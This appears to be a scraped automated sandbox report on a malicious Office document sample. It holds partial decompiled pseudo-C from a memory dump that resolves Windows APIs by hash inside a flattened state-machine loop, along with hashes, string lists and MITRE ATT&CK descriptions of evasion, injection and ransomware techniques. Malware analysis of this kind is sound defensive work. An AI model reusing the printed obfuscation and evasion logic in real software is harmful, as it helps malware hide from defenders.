							if(_t29 == 0) {
								_t29 = E00483E60(_t48, E00483F00(0x26f5757c), 0x56a553d3, _t82);
								 *0x48dd24 = _t29;
							}
							_t51 =  *0x48e544; // 0x314640
							_t14 = _t51 + 8; // 0x2d809c8
							__eflags =  *_t29( *((intOrPtr*)(_t85 + 0x24)), _t78, 0x60,  *_t14, 0, 0);
							_t20 = 0x317ab9d;
							_t75 =  !=  ? 1 : _t75;
							continue;
						} else {
							_t89 = _t20 - 0x58a511f;
							if(_t89 > 0) {
								__eflags = _t20 - 0x5f533d5;
								if(_t20 == 0x5f533d5) {
									__eflags = _t75;
									if(_t75 == 0) {
										E00484220(_t48,  *_t48);
									}
									goto L40;
								} else {
									__eflags = _t20 - 0xecfc0ca;
									if(_t20 != 0xecfc0ca) {
										goto L36;
									} else {
										_t33 =  *0x48e1e0;
										_t81 =  *_t48;
										__eflags = _t33;
										if(_t33 == 0) {
											_t33 = E00483E60(_t48, E00483F00(0xc6fbcd74), 0x624eee2, _t82);
											 *0x48e1e0 = _t33;
										}
										 *_t33(_t81,  *((intOrPtr*)(_t85 + 0x20)),  *((intOrPtr*)(_t85 + 0x18)));
										_t85 = _t85 + 0xc;
										_t20 = 0x225c46c1;
										_t78 =  *((intOrPtr*)(_t85 + 0x14));
										continue;
									}
								}
							} else {
								if(_t89 == 0) {
									_t36 =  *0x48dff0;
									__eflags = _t36;
									if(_t36 == 0) {
										_t36 = E00483E60(_t48, E00483F00(0x26f5757c), 0xc7ccd5be, _t82);
										 *0x48dff0 = _t36;
									}
									_t57 =  *0x48e544; // 0x314640
									_t11 = _t57 + 0x1c; // 0x2d80df0
									_t37 =  *_t36( *_t11, 0, 0, _t85 + 0x10);
									asm("sbb eax, eax");
									_t20 = ( ~_t37 & 0x08da8cf5) + 0x5f533d5;
									continue;
								} else {
									if(_t20 == 0xc0acb) {
										 *((intOrPtr*)(_t48 + 4)) =  *((intOrPtr*)(_t82 + 4)) + 0xffffff8c;
										_t41 = E004842C0(_t48,  *((intOrPtr*)(_t82 + 4)) + 0xffffff8c);
										 *_t48 = _t41;
										__eflags = _t41;
										if(_t41 == 0) {
											L40:
											return _t75;
										} else {
											_t78 =  *_t82;
											 *((intOrPtr*)(_t85 + 0x14)) = _t78;
											 *((intOrPtr*)(_t85 + 0x1c)) = _t78 + 0x74;
											 *((intOrPtr*)(_t85 + 0x18)) =  *((intOrPtr*)(_t82 + 4)) - 0x74;
											_t20 = 0x58a511f;
											continue;
										}
									} else {
										if(_t20 != 0x317ab9d) {
											goto L36;
										} else {
											_t45 =  *0x48e308;
											if(_t45 == 0) {
												_t45 = E00483E60(_t48, E00483F00(0x26f5757c), 0xd8b73a4f, _t82);
												 *0x48e308 = _t45;
											}
											 *_t45( *((intOrPtr*)(_t85 + 0x10)));
											_t20 = 0x5f533d5;
											continue;
										}
									}
								}
							}
						}
						L41:
					}
					__eflags = _t20 - 0x2fa233da;
					if(__eflags > 0) {
						__eflags = _t20 - 0x349446de;
						if(_t20 != 0x349446de) {
							goto L36;
						} else {
							_t20 = 0xc0acb;
							goto L2;
						}
					} else {
						if(__eflags == 0) {
							_t20 = 0x21b6ea48;
							goto L2;
						} else {
							__eflags = _t20 - 0x21b6ea48;
							if(_t20 == 0x21b6ea48) {
								__eflags =  *((intOrPtr*)(_t82 + 4)) - 0x74;
								if( *((intOrPtr*)(_t82 + 4)) < 0x74) {
									goto L40;
								} else {
									_t20 = 0x349446de;
									goto L2;
								}
							} else {
								__eflags = _t20 - 0x225c46c1;
								if(_t20 != 0x225c46c1) {
									goto L36;
								} else {
									_t73 =  *0x48deb8; // 0x0
									__eflags = _t73;
									if(_t73 == 0) {
										_t73 = E00483E60(_t48, E00483F00(0x26f5757c), 0x3174712a, _t82);
										 *0x48deb8 = _t73;
									}
									_t23 =  *0x48e544; // 0x314640
									_t18 = _t23 + 0x10; // 0x2d80b20
									_t24 =  *_t73( *_t18,  *((intOrPtr*)(_t85 + 0x20)), 1, 0,  *_t48, _t48 + 4);
									asm("sbb eax, eax");
									_t20 = ( ~_t24 & 0x0fdb6ac1) + 0x317ab9d;
									goto L2;
								}
							}
						}
					}
					goto L41;
					L36:
					__eflags = _t20 - 0x22073c7b;
				} while (_t20 != 0x22073c7b);
				return _t75;
				goto L41;
			}

0x00481fd8
0x00481fd8
0x00481fd8
0x00481fe0
0x00481fe0
0x00481fe0
0x00481fe0
0x00481fe5
0x00000000
0x00000000
0x00481feb
0x0048211a
0x0048211f
0x00482121
0x00482134
0x00482139
0x00482139
0x0048213e
0x00482148
0x00482154
0x0048215b
0x00482160
0x00000000
0x00481ff1
0x00481ff1
0x00481ff6
0x004820c6
0x004820cb
0x00482212
0x00482214
0x00482218
0x00482218
0x00000000
0x004820d1
0x004820d1
0x004820d6
0x00000000
0x004820dc
0x004820dc
0x004820e1
0x004820e3
0x004820e5
0x004820f8
0x004820fd
0x004820fd
0x0048210b
0x0048210d
0x00482110
0x00481fd2
0x00000000
0x00481fd2
0x004820d6
0x00481ffc
0x00481ffc
0x0048207b
0x00482080
0x00482082
0x00482095
0x0048209a
0x0048209a
0x004820a4
0x004820ae
0x004820b1
0x004820b5
0x004820bc
0x00000000
0x00481ffe
0x00482003
0x00482047
0x0048204a
0x0048204f
0x00482051
0x00482053
0x0048221d
0x00482226
0x00482059
0x00482059
0x0048205c
0x00482063
0x0048206d
0x00482071
0x00000000
0x00482071
0x00482005
0x0048200a
0x00000000
0x00482010
0x00482010
0x00482017
0x0048202a
0x0048202f
0x0048202f
0x00482038
0x0048203a
0x00000000
0x0048203a
0x0048200a
0x00482003
0x00481ffc
0x00481ff6
0x00000000
0x00481feb
0x00482168
0x0048216d
0x004821ec
0x004821f1
0x00000000
0x004821f3
0x004821f3
0x00000000
0x004821f3
0x0048216f
0x0048216f
0x004821e2
0x00000000
0x00482171
0x00482171
0x00482176
0x004821d2
0x004821d6
0x00000000
0x004821d8
0x004821d8
0x00000000
0x004821d8
0x00482178
0x00482178
0x0048217d
0x00000000
0x0048217f
0x0048217f
0x00482185
0x00482187
0x0048219f
0x004821a1
0x004821a1
0x004821a7
0x004821ba
0x004821bd
0x004821c1
0x004821c8
0x00000000
0x004821c8
0x0048217d
0x00482176
0x0048216f
0x00000000
0x004821fd
0x004821fd
0x004821fd
0x00482211
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59121e097609c87f89718b79aa5ea85385398102127105aff334a774c0cd26db
Instruction ID: d4001c0b4f8e7331d991a1c141d9e29030ec9ea28b2ca9bd44c1adb86926a5e1
Opcode Fuzzy Hash: 59121e097609c87f89718b79aa5ea85385398102127105aff334a774c0cd26db
Instruction Fuzzy Hash: 9BE092306103008ADE347B5D8ACD63F22A2BB45B81F680C1FEB10C7221EBAD8D40CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00460010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Seven, xrefs: 004600A6
Four, xrefs: 0046007F
Eight, xrefs: 004600B3
Nine, xrefs: 004600C0
Two, xrefs: 00460065
Three, xrefs: 00460072
Ten, xrefs: 004600CD
Six, xrefs: 00460099
One, xrefs: 0046005B
Five, xrefs: 0046008C

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 784addbcdce24437556e6f5279c707bdb528a3c3697ee0bf8c6114dacfe42706
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: C5311A38E412289BCB04DB98CD80AEE7BB5FF48340B508027D502737A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004606F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 7f4a2ec1ab483d1c88a8a38d4c7c4b8ea40a2fdbf928ec73e0beca19e9e6ed35
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 4B51A472A083015BD720EF26D841B5BB3D8AFD4799F04052FF548E7241F279D9458BAB

Uniqueness

Uniqueness Score: -1.00%

Function 004608F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: fc54c6c6c1f7151105815eb136b5321210dca86ad8713e6cb3a6192a7576cbaf
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: 074136B16143015BC724DEAACC45BABB2D9EBE4B84F08493FF640D6241F278D50887AF

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist , and "net start" using Net , but adversaries may also use other tools as well. Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report sample1.bin

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "sample1.doc"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 3696

General

VBA Code Keywords

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre